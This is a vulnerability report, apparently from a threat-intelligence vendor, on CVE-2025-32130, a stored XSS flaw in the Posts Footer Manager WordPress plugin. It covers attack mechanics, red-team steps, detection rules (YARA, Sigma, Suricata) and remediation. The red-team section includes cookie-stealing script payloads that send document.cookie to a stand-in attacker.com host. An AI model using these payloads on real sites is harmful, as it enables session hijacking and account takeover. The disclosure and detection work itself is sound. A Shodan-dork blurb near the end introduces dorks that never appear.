CVE-2025-32130
Executive Summary
CVE-2025-32130 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Posts Footer Manager WordPress plugin, developed by Data443 Risk Mitigation, Inc. This plugin allows administrators to inject custom footer content into posts. The vulnerability stems from improper neutralization of user-supplied input during web page generation, enabling an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts that are stored on the server and executed in the browsers of other users viewing the affected posts.
The vulnerability affects all versions of the plugin from n/a through 2.2.0. As of this report, no official patch has been released, and the patch status remains UNKNOWN / UNPATCHED. The CVSS v3.1 base score is 5.9 (Medium), with a vector emphasizing the need for high privileges and user interaction, but the impact is limited to confidentiality, integrity, and availability at a low level.
Given that this is a WordPress plugin vulnerability, it is critical to treat it within the WordPress ecosystem context. The attack surface is limited to authenticated users with high privileges, but the stored nature of the XSS can lead to persistent compromise of the admin dashboard or other user sessions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and potentially through third-party marketplaces. Since no patch is available, users are advised to consider the plugin as a supply chain risk. The lack of a patch from the vendor (Data443) increases the risk of exploitation in the wild, especially if the plugin is widely used. Organizations should audit their WordPress installations for this plugin and either remove it or apply strict access controls until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): High – The attacker must have authenticated access with high privileges (e.g., Editor or Administrator role) to inject the malicious payload.
- User Interaction (UI): Required – The victim must interact with the compromised page (e.g., view the post or admin panel).
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope, allowing the attacker to affect other users.
- Confidentiality (C): Low – Limited information disclosure is possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on service availability.
Threat Level: Medium. The requirement for high privileges reduces the likelihood of widespread exploitation, but the stored XSS nature can lead to persistent attacks within the WordPress admin panel, potentially compromising other administrators or editors.
Deep Dive & Mechanics
The Posts Footer Manager plugin (slug: intelly-posts-footer-manager) provides a settings page where administrators can define custom footer content for posts. The vulnerability lies in the improper sanitization of input when saving the footer content. An attacker with high privileges (e.g., Editor or Administrator) can inject arbitrary JavaScript code into the footer field. This input is stored in the WordPress database without proper escaping or sanitization.
When a post is rendered on the frontend or in the admin area, the stored footer content is output directly into the HTML without proper neutralization. This allows the injected script to execute in the context of the victim's browser. The attack flow is as follows:
- Privileged Access: The attacker logs in with an account that has the capability to edit the plugin settings (typically Administrator or Editor roles).
- Payload Injection: The attacker navigates to the plugin settings page (e.g.,
/wp-admin/admin.php?page=intelly-posts-footer-manager) and inserts a malicious payload into the footer content field. Example payload:<script>alert('XSS')</script>. - Storage: The plugin saves the payload to the
wp_optionstable or post meta without sanitization. - Trigger: When any user (including lower-privileged users or administrators) views a post that uses the footer, the script executes in their browser.
- Impact: The attacker can steal cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious domains.
The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The root cause is the lack of output escaping when rendering the footer content. WordPress provides functions like esc_html() and wp_kses_post() for safe output, but the plugin fails to use them.
Vulnerable vs. Patched Code
Since no official patch is available, the following analysis is based on the vulnerable code pattern typical of such plugins.
Vulnerable Code (Hypothetical):
// In the plugin's main file or settings page
function render_footer() {
$footer_content = get_option('intelly_footer_content');
echo $footer_content; // Direct output without sanitization
}
Patched Code (Hypothetical):
function render_footer() {
$footer_content = get_option('intelly_footer_content');
echo wp_kses_post($footer_content); // Sanitize output to allow only safe HTML
}
The patched version uses wp_kses_post() to strip dangerous tags and attributes, or esc_html() to escape all HTML. Alternatively, the plugin should validate input on save using sanitize_text_field() or wp_kses_post().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with the Posts Footer Manager plugin (version <= 2.2.0) active.
- An authenticated user account with Administrator or Editor privileges.
Exploitation Steps:
- Login to the WordPress admin panel with high-privilege credentials.
- Navigate to the plugin settings:
http://target.com/wp-admin/admin.php?page=intelly-posts-footer-manager. - Inject Payload: In the footer content field, enter a malicious JavaScript payload. For example:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Trigger: Visit any post that displays the footer. The script will execute, sending the victim's cookies to the attacker's server.
Alternative Payload (Stealthy):
<img src=x onerror="fetch('http://attacker.com/steal?data='+btoa(document.cookie))">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for changes to plugin settings, especially the
intelly_posts_footer_manageroption. - Use file integrity monitoring to detect unauthorized modifications to plugin files.
- Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests to
/wp-admin/admin.php.
Hardening:
- Immediately disable or remove the plugin until a patch is released.
- If removal is not possible, restrict access to the plugin settings page using role-based capabilities (e.g., only allow Super Admins).
- Apply a virtual patch using a WAF to block XSS attempts in the footer content field.
- Educate administrators about the risks of using plugins with known vulnerabilities.
Indicators of Compromise (IOCs)
- File Changes: Unauthorized modifications to the plugin's main file (e.g.,
intelly-posts-footer-manager.php) or settings page. - Database Entries: Suspicious values in the
wp_optionstable under theintelly_footer_contentoption name, containing JavaScript or event handlers. - Network Traffic: Outbound connections to unknown domains from the WordPress server, especially after viewing posts.
- Log Entries: Repeated access to
/wp-admin/admin.php?page=intelly-posts-footer-managerfrom a single user, followed by changes to the footer content. - User Behavior: An administrator or editor saving plugin settings with unusual content.
Detection Engineering
YARA Rule
rule CVE_2025_32130_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Posts Footer Manager plugin settings"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-32130"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$payload4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-32130 - Stored XSS in Posts Footer Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of stored XSS in Posts Footer Manager plugin
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=intelly-posts-footer-manager'
cs-uri-query|contains|expand: ['<script', 'onerror', 'onload', 'javascript']
condition: selection
falsepositives:
- Legitimate use of JavaScript in footer content (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32130 - Stored XSS Payload in Posts Footer Manager"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=intelly-posts-footer-manager"; http_uri; pcre:"/(<script|onerror|onload|javascript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the Posts Footer Manager plugin from all WordPress installations.
- Audit the
wp_optionstable for any suspicious values in theintelly_footer_contentoption and remove them. - Change all administrator passwords if exploitation is suspected.
Long-Term Mitigation:
- Monitor the vendor's website (Data443) for an official patch. If none is released, consider switching to an alternative plugin.
- Implement a Web Application Firewall (WAF) with custom rules to block XSS attempts in plugin settings.
- Enforce the principle of least privilege: limit the number of users with Administrator or Editor roles.
- Regularly update all WordPress plugins and core to the latest versions.
Virtual Patching (WAF Rule Example):
# Nginx WAF rule to block XSS in footer content
if ($request_uri ~* "/wp-admin/admin.php.*page=intelly-posts-footer-manager") {
set $block_xss 1;
}
if ($request_body ~* "(<script|onerror|onload|javascript)") {
set $block_xss 1${block_xss};
}
if ($block_xss = 11) {
return 403;
}
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-32130
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.